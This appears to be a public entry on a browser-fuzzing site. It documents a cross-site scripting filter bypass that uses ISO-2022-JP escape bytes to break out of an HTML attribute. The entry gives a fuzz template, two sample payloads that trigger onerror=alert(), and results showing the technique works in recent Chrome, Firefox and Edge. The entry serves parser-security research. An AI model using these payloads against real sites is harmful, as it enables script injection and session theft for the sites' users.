Bytes that will normalize ISO-2022-JP
Which escape sequences will normalize back to valid HTML
Created byCillian-Collins
Created Dec 26, 2024
Updated May 27, 2025
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CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetISO-2022-JP
Template used:
<a id="$[bytes:1b2442]"></a>$[bytes:1b28]$[chr]<a id="><img src=x onerror=log($[i])></a>Sample payloads
<a id="0x1B$B"></a>0x1B(B<a id="><img src=x onerror=alert(66)></a><a id="0x1B$B"></a>0x1B(J<a id="><img src=x onerror=alert(74)></a>Fuzz results
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated
Mon Jan 26 2026
Found 2 results
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Firefox 147.0 desktop Linux
Updated
Sun Feb 01 2026
Found 2 results
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Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated
Sat Jan 31 2026
Found 2 results
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